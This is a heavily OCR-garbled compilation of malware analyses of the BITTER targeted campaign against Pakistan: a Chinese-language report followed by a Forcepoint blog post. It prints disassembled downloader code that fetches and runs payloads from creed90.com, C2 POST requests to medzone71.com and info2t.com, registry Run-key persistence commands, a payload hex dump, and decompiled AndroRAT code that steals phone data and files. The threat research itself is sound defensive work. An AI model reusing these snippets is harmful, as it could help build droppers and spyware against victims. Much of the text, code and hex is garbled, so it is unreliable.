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alrldownloadtof db 'URLDownloadToFilen'® , @

loc_D7: ; CODE XREF: seq@0@: AAAAGARFip
push eax
call edi
Xor ecx, ECX
push eCX
push eCX

call sub_F2

aCWpdConhost db "C:\WPD%conhost® ,@

; =E============== s u B H I] u T I H E === ES=S=S=SS=S==S=S=S==S=S===S=======
sub_F2 proc near ; CODE XREF: seq@@@:AAAAGADETp
call loc_18F
aHttpCreed?98 co db 'http://creed?8.com/isme",0 =22 [ nonaadalen )
loc_16F: ; CODE XREF: sub_F21p
push BCH
call eax
Xor eax, eax
call sub_ 121
suwb_F2  endp ; sp-analysis failed
atinexec db 'WinExec',8
=============== § U B R 0 U T I NHE =======================================

; Attributes: noreturn

sub_121 proc near ; CODE XREF: sub_F2+221p
push ebx
call edi

call sub_ 172

sub_121 endp

aCmdCHoveCWpdCo db ‘cmd fc move “C:iZ\WPDAZconhost™ “C:i\WPDiconhost.exe” & "C:\WPD\conho®

db ‘st.exe™'.B £F24az2 { Hobaadblen )
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Windows &5 EE{TRERFRBRIKMAVE =K , 55—3X2Z Downl
oader i£F , ZRAFMAIRASIEE , &5t CC _ET%; Downloader
HBWHIT ; B 2R TER FileStolen , IHEEREER , BEETGEX
4 ; E=REEBTEINEI RAT , EHESZMINEE , FFIRA,

DownLoader

*iz& M D5.C195****************************

BT

B, BREETRNRFREREE%UserData%/AddData/Roa
ming T , MIRAENE , #IUB5%|%UserData%/AddData/Roami
ng BR , BFRA tasklist.exe, FINLLEEEZEEMZ=E HKCU\Software\M

icrosoft\Windows\Currentversion\Run [Z&1Ii , FE5h tasklist.exe
HE%UserData%/AddData/Roaming/tasklist.exe

BR FEs0AT , #& C:\ProgramData\VWDLR.cab 314 , ;&G
15, FRSSHEAELEE , RE|MRERAS , BRASENILIH.

POST /medal/adfsdsqw.php HTTP/1.8

Host: medzone7l.com

Connection: keep-alive

Content-type: application/x-wni-form-urlencoded
Content-length: 72

b=VTF5.3126192300&c=Xjoepxt!8&d=BenjojtusbupsBBenjojtusbups&q=0&r=0&I0D=BHTTP/1.1 286 OK
Date: Tue, 81 Nov 20816 B&:58:18 GMT

Server: Apache

X-Powered-By: PHP/5.32.29

Connection: close

Content-Type: text/html

—— " =
XML Version=182 @<br> Z&E ( bobaodslen )

ORX hRIXFFHE $|6T/ H44}|


http://p9.qhimg.com/t01958a645ed4f74869.png

N\

AN

5

=¥ SRR

AIEiEz CACH 80 inM , MARSRERan< , SRS ERIES

<79 DWN B , &k RAT #5RFH/350,

s . NLL (F#EfE)

POST /medal/adfsdsqw.php HTTP/ 1.6

Host: medzone7l.com

Connection: keep-alive

Content-type: application/x-vwww-form-urlencoded
Content-length: 6

ID=182HTTP/1.1 28@ OK

Date: Wed, 82 Nov 2016 B88:85:38 GMT
Server: Apache

X-Powered-By: PHP/5.3.29
Connection: close

Content-Type: text/html

XML INFO=NLL:<br> 2242 ( bobuo.360.cn )
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exe
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HITP/1.1 200 OK

Date: Tue, 01 Nowv 2016 12:22:55 GNT
server: Apache

¥-Powered-Bv: PHR/E. 3. 29
Comnection: close

Content-Type: text/himl

Elt htmlé&st; &1t bodviet; lsass, exedd 5a 90 00 03 00 00 00 04
Ooo 000000 0005 00 00 00 00 00 00 00 00 £0 02 00 00 04
2e T2 65 6 B 63 00 00 40 Ok 00 0O OO0 0 02 Q0 00 Oc QO 00
OO0 000000 000000 00 00 00 55 8k ec 83 ed £8 81 ec Vo
oo 00 33 <4 04 33 42 68 £3 00 00 00 a3 cc <4 40 00 52 34 34
945 04 0f be ca 80 <1 04 88 08 0f be 48 01 30 9 04 35 43
D4 1f 00 ££ 15 60 71 40 00 8k 04 10 T3 40 00 39 03 8k 15 14
8 TL 40 00 Ba 01 68 6 73 40 00 683 04 01 00 00 63 8 <7 40
Of Bk 15 98 73 40 00 59 57 04 a0 9¢ 73 40 00 33 c4 04 ke 03
3 cd 083 8BS <0 74 09 50 £f 15 6 71 40 00 eb 0a 63 <8 <5 40
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ol 75 2d ££ 15 0c T2 40 00 8k 04 74 be 40 00 51 3B £ £f 15
100 9040 00 33 <4 59 34 24 B8 01 00 00 53 56 5Y 6a 14 £f
90 40 00 33 <4 39 84 24 58 27 00 00 EEE#b:;q_ijJngjﬂanBQ
A le B3R 00 00 83 <4 04 B9 55 re <8 40 00 Bk de 24 14 Bh

550 RAT 89S

o s e Lomp s v aewgp s

BBF51E?5 mou [esp+13Bh+var_124], eax

AAFSACY? movu [esp+13Bh+var_128], eax

BAFSACYD lea eax, [esp+i3Bh+5tartuplnfo]

AAF51C81 push eax ; lpStartupInfo
BAF51CE2 push a ;: lpCurrentDirectory
ABF51CEY push a ;: lpEnvironment
BAF51C86 push a ; duCreationFlags
BBF51CE8 push a ; bInheritHandles
BAFS1CEA push a ;: 1pThreadattributes
BAFS1CEC push a ; 1pProcessattributes
BAFS1CEE push a ; lpCommandLine
BAF51C9A8 push esi ; lpApplicationHame
A8F51C91 mov [95p+15uh+5tartupInFu ch], 44h
BAFS1C99 call ds:CreateProcessafE; ( nonaodalen )
afFcArar +aoct aawv aawv
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TSRS . HE@id POST M5 T0E S HEZI CC IRSS 5
. RBEA TR,

POST //m2s.php ?x=FEH1.4-MAC
HTTR/1.1
Host: CC Hhhk
Connection: keep-alive
Content-Length: XXX
Cache-Control: max-age=0
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.11 (KHTML, like
Gecko) Chrome/23.0.1271.97 Safari/537.11
Content-Type:multipart/form-data;boundary=----WebKitFormBoundaryxjWaBRokV
rsGecoq
Accept: text/html,application/xhtml+xml,application/xml;q=0.9, */*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: 1ISO-8859-1,utf-8;q=0.7,*;q=0.3
------ WebKitFormBoundaryxjWaBRokVrsGecoq
Content-Disposition: form-data; name="file"; filename="%23 B 3 1% #r”
Content-Type: C{F3E#Y
THERE
------ WebKitFormBoundaryxjWaBRokVrsGecoq--
Sz (obao S50 cp )
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P
= S SRS EHR

EFRE =R C\ProgramData\Microsoft\DeviceSync T6llgE
29 temp.txt B9S2, CIESKMNER SHGetFolderPath $XEX CSIDL

_APPDATA [UI&#R,

[EREFRIER A mpss RIEO | FHLARRRIS VS,

aa 1Param = HULL

hInst
ae hienu = HULL
aa hParent = HULL
5] Height = @8z8
foooRBEd Width = s@fesfasd {-21
ae ¥ = B=8

fopoBoen X = 80800808088 (-214748
BA0ACcF 80 5tyle = WS _OUERLAPPED
FA23408080 d195b @72 . 08L4A93F 0 WindowHame = "mpss"

88934800 d195bB72 . 86409388 Class = "HP55™
a4 Extityle =
8930 EC923488] mov
FF1S D471468081call
2BFB mov esi,eax
B5F6 test ecsi,esi
L] Xd195ba72 . aau81212
6A 84 [Shuwstate = 5W HIDE

=1 esi .
FF15 D871400{ Eall 2% ( bobao.360.cn )

2R EId AR GetEnvironmentVariableA Eig241 ComSpec
SRENEBIR S cmd BUER1R |, ZfEBidiZ cmd BEERH1T cnd 45 reg

add fEIEMER

Software\Microsoft\Windows\Currentversion\Run

TR0 /9 MPSpoolingService BRI , FHIGLATIRZHINZE

[EsEBED.

REG_SZ C: I'lDl:IC'U.ITIEntS and Sett1ngs"xhdm1n15tratorl'n‘!:tr ‘;c{t_,l\{jJJ.ﬂ}ﬂ_;ﬁ rlx}a

BXEA cnd copy 5%, BEBEHRIN MIBEFH =S
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k=% SSEHR

C\Documents and Settings\Administrator\Application Data

\mpss.exe

EFBYELHRFHEGS , EREaFMHEH "avg” FHEE

SE : HHE process] , MRS avg EB1FE.

call CreateToolhelp32Snapshot

1ea ecx, [esp+488h+pe]

mou esi, eax

push eCx ; lppe

push esi ;: hSnapshot
mow [esp+49Bh+pe .duSize], 128h
mow [esp+49Bh+AVG_EXIST], 8
call Process32First

test eax, eax

jz short loc_ 481689

FIFE
B84B165A mow edi, ds:strstr

o

& 5=

A1668

01668 loc 4681660:

816608 lea edx, [esp+48Bh+pe_szExeFile]
81664 push offset Substr ; laug™

81669 push edx ; Str

B166A call edi ; strstr

g166C add esp, 8

A166F test eax, eax &= henzo dafen )
81671 inz short loc 481684

ZIeERFBIXEAR cmd copy BESEHIZIIITERF
C:\ProgramData\Microsoft\DeviceSync

BRI AR TESHE mpsd.exe, mpst.exe 1 mpss.exe
EARFE  HEUARRRENER,
Z e RIS NMEIERE | 472 threadkE5 CC B HHEF1E

INEZHEHITHS.
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A42409

004B24E9 push
B0uB24BA push
BO4BZLBE lea
A048248F push
00482400 push

Ai4E2489 Loc_4n24R9:

; jumptable AA4A248A case 1
ebx

by ; duCreationFlags

eax, [esp+3Ch+Parameter]

2ax ; lpParameter

offset q_EnmulogicalDrive ; lpStartAddress

B4a24ER

BO4F24ER 1oc_4O24ER:

0D4B24EB push
BOUB2UEC push
BOUBZLED 1ea
A04824F1 push
004824F2 push

; jumptable AALE248A case 2
ebx

eby ; duCreationFlags

ecx, [esp+3Ch+Parameter]

BCX ; LpParameter

offset q_GetFileListAndTime ; 1pStartAddress

Q0482405 push ebx ; duStackSize 004824F7 push ebx ; duStackSize

B0uB24CE push eby i lplhrnadnttrlhutes BOuB24FB push ebx i lplhreadnttrlhutes

BOuBZNET mow duord_409018, hooo 0uB2YEY mov dword_WO9018, koo

00482401 nov duword_ 420498, 2001 0462503 nov duord 420498, 2002

00402408 call  ds:Createlhread 00402500 call  ds:Createlhread

A04824E1 nov duword_420468, eax 004682513 nov dword_42 046G, eax bty 32

OB4O2UES fmp  loc hO2875 ; junptable BEAG2US0 default case | |0B4B2518 jmp  loc_AB2875 - junt G HobA0 50, ),
5 CCEERIRIBIAERSLEMRICE "BITTER1234" [&iE : For

cepoint BY&E42 BITTER HHILLTIE]

Follow TCP Stream (tcp. stream eq 0)

Stream Content

REREIR AT BRI RERLE

BITTERL234....... &: 3)7dBwU. b;
[ 0}3+...8.
..E.].Od. I,

LO2E. ... Lo S 0.dI0. DRA~[_.

LHI-WOHTWZ B,

. J1Hs. EP.
ES]WEDQ1EUpdatESGDDg1EUpdatESGDDg1EUpdatES
EUpdatesGDDg1EUpdatESGDDg1EUpdatESGDDg1EUpc
ooglelpdatescooglelpdatesGooglelpdatescoog]
tesGooglelpdatescooglelpdatesGooglelpdatesc
UpdatescooglelpdatesGooglelpdatescooglelpda
ogleUpdatescooglelpdatesGooglelpdatescoogle
esGooglelpdatescooglelpdatesGooglelpdatesao
p?atezGDDg1EUp?ate§GDDg1EUpdatESGDDg1EUpdat
gleUpdatescoogleUpdatesconglalndatess
SGDDQ1EUpdatEEGDDg1EUG§ﬁE¢!&q F péggggéﬂt
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AB495580 loc_ 4855 A8:

A84085588 mov dl, byte 41DDS@[edi+ecx]
A84A5587 xor dl, [eax+ebp]

8e4LA550A inc eax

A8408558B mov byte 41DDSB[ecx], dl
aa4a5511 inc ecx

88485512 cmp eax, esi

88485514 jnz short loc 485518

 J
s
BB4B5516 xor

‘9

Ll e =]

AALAa5518

BA4AS518 loc_ 4@5518:

BA4A5518 cmp
88u8551a j1

ecx, ebx

shoezz2ze( hAREMEE.cn )
1

TR TE AR F AT SR SR E R 7 BSRAYINREE BRI U

1TINEALE | ARIERPRIINEL NEARR |, (BRBIFRYREESR

EEE.

bl e 55

AB4B2A40

A84082A409 loc_ 4B2ALA:

08482A48 mou dl, [edi+ecx]
A8482A43 dec dl

B0482A45 mou [ecx], dl
884082047 inc eCx

AB482A48 sSub ebp, 1

A0402A4B jnz chort loc_ 4B82A48

it ——=ral a1 19 £ (00 1313 Aol U

y

S
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XiEBH
vy
28485591
084685591 loc_485591:
0405591 mousz eax, byte ptr [edx+ecx]
A8485595 test cl, 1
864085598 jnz short loc_ 48559E
‘ ¥ ‘ ¥

Ll s =]

A84855924 add al, 4 A848559E

80408559C jmp short loc 4855A8( |AB4A559E loc 40559E:

AB848559E sub al, 4
J

il e 55
AB4a55A0
08405508 loc_ 4B855A0:
8048558 mov [edxz+ecx], al
80840855A3 inc ecx
00485504 cmp eCX, esi
aeues5a6 jl1 short loc_ 485591

- izt ( bobuodalen )

FAEREREI , EFaN CCEZES  BER
C\Documents and Settings\Administrator\Application Data

TTEEA igfxsrv.exe Bt

Xigfxsrv.exe 2t
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1. ¥80F" android.intent.action..BOOT_COMPLETED"” | 4%,

FEz.

public wvoid onBeceive ({Cocntext context, Intent intent) |
Log.i(this.TAG, "BOOT Complete received by Client 1");
if {intent.gethction () .equals ("android. intent.action.BOOT COMPLETED")) |
Intent vl = new Intent{context, Client.class):
vl.setliction (BootBeceiver. class.getSimplelame () ) »
conteXt.3atartService (vl):

} 425 ( bobao380.0n )

E 4 BEARFHSED
2. EohEMBEIFEREHEEE | 872 Thread , Windows #1 A
ndroid FEREFEARR , (BRSNIE—E]SystemInfo , 2AS/E50
RAT #&38,

public void onCreate() { _ - 4
Log.i(this.TAG, "In onCreate")g BEhF R L EAHR

this.infos = new SyastemInfo(((Context)this));
thiz.proclnd = new ProcessCommand({{Clientlistener)this));
thiz.loadPreferences();

} R 2T Sha0.360.0n )

5 BT OHREER
3. SystemInfo Bt LEANTEUE

E{4HZE ( Phone Number, IMEL, CountryCode, OperatorC

ode) ,

Sim £{S82 ( SIM SerialNo, SIM OperatorName, SIM Count

ryCode) ,
V&SR (GPS Efi. NetWork Efif) ,

iR

ORX hRIXFFHE 5200 / H*44|”


http://p9.qhimg.com/t01beff752d4b3f4e58.png
http://p3.qhimg.com/t011133fd0adbabe806.png

A\
dl

:
!
2

X

XHETR

this.

this.
this.
this.

BIHICR |,

B=

Email,

uploadData.append ("Phone Munber R

.getSystemService ("phone") .getlinelNumber () + "\r\n"});
str imeilumber = this.tm.getDeviceld();
uploadlata.append ("IMET 2!
uploadData.append ("Android Model 2!

this.ctx.getdpplicationContext ()

+ this.tm.getDeviceId() + "\r\ni\r\n");
+ Build.MODEL + "\r\n");

this.uploadData.append("Country Code : " + this.tm.getNetworkCountryIsc ()
+ II\\r\\nII:I'-

this.uploadData.append("Operator Code : " + this.tm.getWetworkOperator() +
II\\r.\\nII :I '-

this.uploadData.append ("Android Version : " 4+ BuildsVERSICN.RELEASE + "\r\n"};

this.uploadData.append("Software version 2!

+ this.tm.get[)e;‘:;ﬂi Ftawa: ;Pnfﬁr“
+ "\ehnir\n'); ....=,'5_1?{ HUE?YCJ.JJ_].H“

B 6 SystemInfo L{EEHSE

Q*:EJ:1§ SDcard q:EgY{L—F , HEFI 448b****'k*********************

**\ 8af -k***-k**-k-k**~k~k*~k~k~k**~k~k*******jzﬂﬁﬁ\dzizlgt{gﬁgjz{q:*%ﬁ% :

n

utxtn , udoc ,

“jpg” . “png” , “GIF" , “jpeg”
ﬁlﬁ 9edf****************************t{gﬁgj{ﬁFig%Hﬁu%ga%Eg
FWERESY | Eban WhatsApp :

“db” , “crypt8” , “db.crypt8” ,

String v3 vS[v4d].getibaclutePathi) »
String vl = vi.substring(v3i.lastIndex0f(".") + 1):
if{!vl.equals{"txt") g& !'vl.equala("doc") £& !vl.equals{"jpg") =& !'vli.equals{"png") ==&
vl.equals (" GIF") £& !vl.equals{"jpeg")) {
goto label 48;

}

e e = ':J
this.uploadFile (String.valueOf (name) + "/7 + v5[vd].getlame () ) Secsar | DOba0.380.n )

7 1% SDcard g9 txt, doc FE3{4
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= POST /default.php HTTR/1.1\r\n
[ [Expert Info (Chat/Sequence): POST /default.php HTTR/1.1\r\n]
Request Method: POST
Reguest URI: /default.php
Reguest version: HTTP/1.1
Connection: Keep-Alive\rin

Content-Type: multipart/form-data; boundary=+-*|865773029372246sMs | *-+\r'\n

User-Agent: Dalvik/1.6.0 (Linux; U; Android 4.4.4; N91B5t Build/KTUB4P)\r'n
Host: infozt.comyrin

Accept-Encoding: gzipirin
[ Content-Length: 276%\rin
\rin
[Full request URI: http://info2t.com/default. php]
[HTTP request 1/1]
[Response in frame: 22]
MIME Multipart Media Encapsulation, Type: multipart/form-data, Boundary: "+-*|8657730293722465Ms[*—+"
[Type: multipart/form-datal
First boundary: --+-*|8657730293722465M5 | *-+\r'\n
[ Encapsulated multipart part:
Content-Disposition: form-data; name="uploadedfile";filename="8657730293722465Ms"\r\n\r\n
[ Data (127 bytes)
Data: 2a202a202a202a202053204d2053202a202a202a202a0d0a. . .
[Length: 127]

Last boundary: ‘\r'\n--+-*|8657730293722465Ms5 | *-+--\r'n Sz (ooouo380. )

XHETR

8 Http Post A=\ L{ZMEEE0E

4. |35 Android RAT &R, RAT #&HRE 141.105.4** ***X Ip

£37 Socket iERZ , ERMIOMSE , HEEREINEIEER LIE2) 14
1.105.%%* ***,
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lient{) |
i)
TAS = Client.class.getSimpleName () 7

nbAttempts = 10;

elapsedTims = 1;

stop = false;

1sRunning = false;

1slistening = false;

handler = new Handler({) |

public woid handleMessage (Message mag) |
Client.this.processCommand (msg.getData)):

} \ R iB S S BENGPS « SMS « HHEE « T
- BEME:

public woid Storage (TranspertPacket p, String 1) |

try

{
this.packet = new CommandPacket():

this.packet.parse (p.getData{) ) o oo
o= = o kL = o
Meszage v2 = new Message(): i B FEH

Bundle w0 = new Bundle(): \ . RRERENS
v0.putShort (" command", this.p.i-_.ket.get{.'nmaﬁirﬁ %
vi.putByteldrray ("arguments", this.packet.getAirguments()):
vi.putInt ("chan", this.packet.getTargetChannel()):
v2.3etData (v0);

this.handler.sendMessage (v2) e -
N ge (v2) &LZ ( bobao3alen )

9 =zh RAT 5izigsh
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BootReceiver
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FileDownloader
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HttpFilelUpload
LauncherActivity
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Preference
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https://blogs.forcepoint.com/security-labs/bitter-targeted-attack-against-pakistan

BITTER: ATARGETED ATTACK
AGAINST PAKISTAN

Posted by Roland Dela Paz on October 21, 2016

INTRODUCTION

Forcepoint Security Labs™ recently encountered a strain of attacks that
appear to target Pakistani nationals. We named the attack "BITTER"
based on the network communication header used by the latest variant
of remote access tool (RAT) used:

ke Follow TCP Stream

-5trearn Content

BITTERLZ 34 & 3)7dEewu.b7.&;1;,.GI9LS....... &FPSAS. . !
ee...3....tbV.T_/

........... 1

I R BrAi_

e v e e e e e et e ae e e an e aa e et
KKK, KKK, KKK, KKK, KKK. BITTER1234....... &; 3)7dBwU. b2}3. $va)4/
I.

M- oocoococcoocoooCcOoOCOOCCOOCOOCOOCOCOCOCOOCCOCOCOOCCOOCOOGCCoOGCcC ]
KKK.BITTER1234....... U3g.&; 3)7dBwWU. boyK=...6..06..xuQ[

Our investigation indicates that the campaign has existed since at least
November 2013 but has remained active until today. This post intends
to share the results of our research.

INFECTION VECTOR

Spear-phishing emails are used to target prospective BITTER victims.
The campaign predominantly used the older, relatively popular
Microsoft Office exploit, CVE-2012-0158, in order to download and
execute a RAT binary from a website. Below is an example of a spear-
phishing email they used earlier this month. The recipient is an
individual from a government branch in Pakistan, while the sender
purports to be coming from another government branch of Pakistan:
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MESSAGE
- Ve . 3 ~
& Ignore x - l Y ) Ee = important ‘ % 9 Rules + €% Mark Unread af?'& i Q
= 9 &~ &3 ToManager . SoneNote i Categorize * B-
& junk~ Delete  Reply Reply Forward .. | Move Translate Zoom
v Al B[R Team Email ' . [PActions~  |* Follow Up~ N
Delete Respond Quick Steps [ Move Tags P Editing Zoom

———

B Thu 06/10/2016 07:24

"/ | )
programmer @ mum.gov.pk
Brief and Summary
T

Message | 37 Brief.doc (40 KB) | Summary.doc (25 KB}
Sir
Brief and Summary for the meeting are attached.
Regards
Program Manager

Other attachment filenames they used that also contained the CVE-
2012-0158 exploit are as follows:

Requirement List.doc

« Cyber Espionage Prevention.doc
o New email guidelines.doc

« Gazala-ke-haseen-nagme.doc

« Rules.xlIs

In one instance, they used a RAR SFX dropper that drops both their
RAT and a picture of a Pakistani woman as a decoy. A quick Google
iImage search on the dropped picture indicates that the picture was
grabbed from Pakistani dating sites.

RAT COMPONENT

BITTER used RATSs that are compiled using Microsoft Visual C++ 8.0.
They use a few iterations of their RAT with the main difference being
the RAT's command and control (C2) communication method. Earlier
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variants communicated to its C2 via an unencrypted HTTP POST.
Below is an example of an older variant's phone home request:

i Follow TCP Stream El@

Stream Content

GET /winter/war. php?cId=1NG____ - 1 o = ) 2 m =
Sy er Info=windows7%20Bu11d%3a%206, 1, 7601%205ervice%20Pack%201 HTTR/1.1

HOST: www.nexsterdl. com

Connection: close

Newer ones, on the other hand, use encrypted TCP connection such as
the one shown in the introduction above. Both older and newer variants
are used simultaneously today in the campaign.

The RAT version

(SHA1 d7a770233848f42c5e1d5f4b88472f7cb12d5f3d) that they used
in their latest campaign is capable of executing the following backdoor
capabilities, essentially allowing the attackers to gain full remote control
over a victim's PC:

« Get system information - computer name, current user name, and
operating system

o Enumerate logical drives

« Enumerate and log files and their corresponding timestamps
o Open a remote command shell

« List processes with active UDP connections

« Manipulate running processes

« Manipulate files

Download a file

In addition, the vast majority of their RAT binaries contained the
following digital signature with a non-trusted CA Root certificate:
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Certificate 23m

General lDetails | Certification Path

@a Certificate Information

This CA Root certificate is not trusted. To enable trust,
install this certificate in the Trusted Root Certification
Authorities store.

Issued to: Smartphone 2003 Privileged Test Signing
Authority

Issued by: Smartphone 2003 Privileged Test Signing
Authority

Valid from 12/ 31/ 2002 to 12/ 31/ 2022

[Install Certiﬁcate...] Issuer Statement

Learn more about certificates

The following table shows the timeline of appearance of BITTER RATS,
based on their compilation timestamps, along with their embedded PDB
paths:
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RAT SHA1 Compilation Timestamp  PDB Path

420%e46500996505460 21508600435 20eaT e 24¢ 11120130524 CAUsers ANONYMOUS\Documentsivisua Stud 2008\Frojects\Down Free DownWind2iRekase Doan'ind2 pdd
JabdcedbIaddcS5a6cAtdetcece TT4DIIIIA? 10092014 0506 C \Users'@iDeskiopuploader- Catroat 09-09-14 - Edt me'Final Upioader for lomsaft-16-07-2014 - Cogy - Copy\Wploaderfupids_wapp'Releaseisv! pdb
19906a48702¢ 5268506030507 140 10366340076 02122014 0538 FFbeupioadenFinatiNew Uplv2 18:11.2014%phir_wapp Release'svel pab
056eIcdctTI64eleT a0 0272000260717 300720150503 C\Users' ARAGON'DocumentsiVisual Studio 2008'Frojects'Downiin3Z\Reiease'Downin32 pob
C3a390c 22991112455 0806 04 T9e a3 300506001 13082015 11.41 CIser S WRAGON Documents Visud Studo 2008 Frojects DownWind2 Release Downwind2 pat
37055 1032654000034 1584367a075990740b007  16/10/2015 06:31 ERATFUDINOSt Release'dinost pdb

£240500219d64d0005300000c SI405TOA2IASS 2411072015 04 57 C UL ARAGON Documentsivisual Studio 2008/Fropacts Downivind2 Refease DowriVind2 ped
137870¢ 1¢330c 04241007 1 40074355207 00AT 03122015 12:13 CiUsersINFINITEDocuments Visuad Studio 2006'Projects\DownVWind2 Rakase DownVind2 pdb
e57c880302039M4D 1dad e Bh T8 155 Medtibécace 19122016 08,83 CWJsarsiINFINITEDecuments \Visual Studio 2008/ Projects DownWind2\ Release DownWini2 pdb
0172526135400 721221e002MA6e2a0 1e0ems 200172016 05:23 C\UsersUNFINITEDocumentsVisuat Studio 2008\FrojectsiDownWin32\Rekase DownVind2 pab
e7e0balCeT8deTINSTANI6ITM2e200: 34006718 DTNI2NE 0T 4% C \Wsers'peSi0ocumantsVisual Studo 2008 FrojectsiVMISIReeasa WMIS pad
fa808002247660a0504 3604600020 2200008230 1102016 06 15 CiUsersUNFINITEDOcuments Visuad St 2008 Frojects\NewDown \Retease\NewDown pab
CTED4GbA0bTEe20e09485556a0d2090620ce3390 02002016 1754 C \expo\Reiease'iexpo pdb

T21a525006962906aCar34TT085M52a240605723 (4052016 04.09 Csers\Dexten DocumentsiVisual Studio 2008 Projectsi1\Release!1 3 pad

1598794563t 2903121800086700050246979¢5 230672016 05:42 None

200787 Bbsc ela=abd2ameaifo2ebceeat sty 2800672016 09:13 CmapoiReleaseiexpo pab

0727702333480 2¢ 50 105tAbE547 27 (012005130 120712016 06:27 D 'wyWork\isuaiSudio\mwaw/Debugimwow pab
OdISbO36ECH10840524833000219559000c06eTa 220712016 08 56 None

23b2627568TCTTST 10024083007 48475300837 02008/2016 10:38 C'poke'Rexase poke pab

ELanebBAIRAI 350 150 1 79014 20M 1 1cE 02)0972016 1038 C'poke Rekasepoke pdb

132e¢ 7320003000565 1630000 0cc40aT6M2ade 05002016 07 14 CmedalRelkease\madal pob

H7302c6497031 14095bE2CS56 e 20 1bISES 06092016 0448 C \UsersLTRONDocuments Visul Studo 2008 @rojectsDown2SephRelease\Oown025ept pdb

It is important to note that some of these RATSs are distributed at a later
time than their compilation date.

COMMAND AND CONTROL

BITTER used free dynamic DNS (DDNS) and dedicated server hosting
services in order to set up their C2s. The download site where the
exploit documents download the RAT binaries are, in most

cases, different from the actual RAT C2. However, both of them are
typically registered using a Gmail email address and a spoofed identity
purporting to be either from United Kingdom or Great Britain. Below is
an example of a spoofed registrant information for the

C2, spiralbook71[.]Jcom:
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Registrar Data
Registrant Contact Information:
Name Chris Hardin
Organization Hardin
Address City Lane
City London
State / Province Derby
Postal Code W2 356
Country GB
Phone +44,7859632549
Email chrishardin6492gnail ,.con

A list of all related malicious domains we managed to collect are as
follows:
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Domain

ranadey.net7s8 net
Info2t com

range7.com
www.queryz4u.com
WWW.SpOrszone71.com
micronet.no-ip.co.uk
wWWw inspire71 com
spralbook? 1.com
govshe dans ne
randomvatued0.com
marvelds com
cloudupdates servehttp com
pickup dans net
marvelss com
updateservice redirectme net
pickup dans net
destiny91.com
medzone7 1 com

www nexsterd1.com
kano0 website
schotarsS0 website
frontier9 website
reloadguade’ 1 com
creed90 com

wester website
chinate®0 com

wesier website

Registrant Email
Unknown

Unknown

Unknown
damek-martn17@post ¢z
penpault 967 @gmail com
Unknown
neiljohn212i@gmail com
chrishardnG49@gmat com
Unknown

jesshardnd67 @gmad com
ring 1379 @gmail com
unknown

Unknown

fring 1879 @gmail com
Unknown

Unknown

andrewadams1799@gmall.com

roblee 1546@gmail com
witribehelp@gmall com
trentjohn1386@gmall com
Unknown

Unknown

thomasbaker 1342 @gmad com
chrishargn649@gmal com
Unknown
chinglelSed@gmall.com

Unknown

Type

o
o

C2 / Download Site

c2

Cc2

c2

c2

Cc2

c2

Download Site

Download Site

Download Site

Download Site

Download Site

Download Site

Download Site

Download Site

The email address witribehelp@gmail.com points to an empty Google
Plus profile with the name "WhatsApp Support". Interestingly, however,
the account is connected to another Google Plus account with the

handle "Love Pakistan™:
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WhatsApp Support

In WhatsApp's circles

. Love Pakistan
@

INTENT

While cyber-espionage is a common motivation for targeted attacks, this
Is often hard to conclude unless a forensic investigation is conducted on
the actual victims' machines. In some cases, specific capabilities in
RATSs provides us with clues on what the attackers' true intents are.

One of the backdoor capabilities mentioned above is the logging of files
and files' time stamps from the victim's machine. Furthermore, an older
variant of their RAT from 2014 that has the

SHA1 3ab4ce4b3a44c96d6c454efcece774b33335dda2 are found to
look for more specific file types. After identifying the logical drives from
a victim PC, this RAT variant proceeds to enumerate files and check if
they match any of the hard coded document and archive file extensions
below:
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68 } PUSH 2.0134537 ‘ 2= Teagr
1 |PUSH a.exacecco $1 =
F3:A4 |REP MOUS BYTE PTR ES:[EDI1,BYTE PTR DS: ,
15 m DWORD PTR os-t<&nwcn9o. _stricmp>] L_stricmp
83C4 68 D_ESP, S
EST EAX, ERX

2238
8835 CCSH348 MOV ESI,DWORD PTR DS: [<&MSUCRSG._stricm| MSUCRID._stricmp
68 Eggzggi PUSH a.01345378 52 = "ppt”
68 PUSH 0.013480&‘0 gl = "
FFD& CALL E _stricmp
|00 ESP,8
| TEST ERX,ERX
21342238
ASCII "pptx™

ASCIT "pdf”
ASCII "doc™
ASCII "docx™
ASCIT "uls™
ASCII "xlss™
ASCIT "z2ip™
ASCII "72"

ASCIT "rtf™

A0D E
TEST

85C0o
eFss ocosaaan JNE 0.01§42614 //move to nedt file

While it is hard to conclude based only on these artifacts, the nature of
these targeted file types suggests that the attackers may be after
sensitive documents.

OTHER TOOLS USED

In December 2015 one of the campaign's download sites hosted

a binary at scholars90[.Jwebsite/putty. The downloaded file is a free
SSH and Telnet client application called "PuTTY", which has been used
in the past in other targeted attacks.

In addition, the same RAT variant previously
mentioned (SHA1 3ab4ce4b3a44c96d6c454efcece774b33335dda?2)
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connects to the C2 info2t[.Jcom/m2s.php. This has also served as a
C2 for at least two AndroRAT variants in the past. The following
diagram shows these relationships:

3ab4cedb3ad4c96d6cdSdeftece774b33335dda2
Windows RAT

info2t convm2s.php

A

info2tcom
info2t com/defauttphp
http:/info2t com/defau1tA php
info2t.com/UploadToServerphp
645a6e53116f1fd7ece91549172480c0c78df0fc 7d47ae3114708eci7b47307/5571d70c2556da
AndroRAT AndroRAT

AndroRAT is an open source remote administration tool for Android. Its
GitHub repository lists the following capabilities:

« Get contacts (and all theirs informations)
« Getcall logs

« Get all messages

« Location by GPS/Network

« Monitoring received messages in live
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Monitoring phone state in live (call received, call sent, call
missed..)

« Take a picture from the camera

« Stream sound from microphone (or other sources..)
« Streaming video (for activity based client only)

o Do atoast

« Send a text message

o Give call

o Open an URL in the default browser

o Do vibrate the phone

The AndroRAT variant with

SHAL 7d47ae3114f08ecf7fb473b7f5571d70cf2556da disguises itself as
the Islam Adhan Alarm - an Android app that alerts to prayer times of
Islam, which is the state religion of Pakistan. The variant with

SHA1 645a6e53116f1fd7ece91549172480c0c78df0Of, on the other
hand, disguises itself as Kashmir News app. Kashmir is

the northernmost geographical region of South Asia and is a disputed
territory between India and Pakistan.

PROTECTION STATEMENT

« Stage 2 (Lure) - Spear-phishing e-mails associated with this
attack are identified and blocked.

« Stage 5 (Dropper File) - Related RATs are prevented from being
downloaded.

« Stage 6 (Call Home) - Communication between the RAT and
command and control are blocked.

CONCLUSION

Many targeted attacks continue to be discovered today. It is interesting
to see that while these attacks are not always sophisticated in nature,
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the same characteristic allows them to stay under the radar by blending
